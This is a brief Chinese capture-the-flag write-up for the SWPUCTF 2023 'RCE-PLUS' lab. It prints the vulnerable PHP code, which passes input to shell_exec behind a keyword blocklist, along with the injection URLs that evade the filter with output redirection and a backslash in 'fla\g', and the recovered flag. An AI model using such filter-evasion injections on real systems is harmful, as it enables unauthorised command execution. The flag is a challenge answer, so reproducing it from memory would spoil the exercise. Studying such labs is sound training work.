Problem: [SWPUCTF 2023 秋季新生赛]RCE-PLUS
[[toc]]
思路
仍是优先看自己环境,结果如下:
<?php error_reporting(0); highlight_file(__FILE__); function strCheck($cmd) { if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){ return($cmd); } else{ die("i hate this"); } } $cmd=$_GET['cmd']; strCheck($cmd); shell_exec($cmd); ?>
经过尝试又给我们不少函数禁用了,我们试试直接将根目录写入到我们的1.txt(http://node4.anna.nssctf.cn:28363/?cmd=ls%20/%3E1.txt)然后访问我们的1.txt(http://node4.anna.nssctf.cn:28363/1.txt)结果如下:
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
发现flag我们同理抓取flag内容直接写入我们自己的一个文档(http://node4.anna.nssctf.cn:28363/?cmd=cat%20/fla\g%3E3.txt)因为flag被禁就用fla\g;最后访问3.txt,结果如下:
NSSCTF{c0bec80b-d520-4321-9de2-269693323bb0}
flag=NSSCTF{c0bec80b-d520-4321-9de2-269693323bb0}
EXP
- 具体攻击代码
总结
- 对该题的考点总结
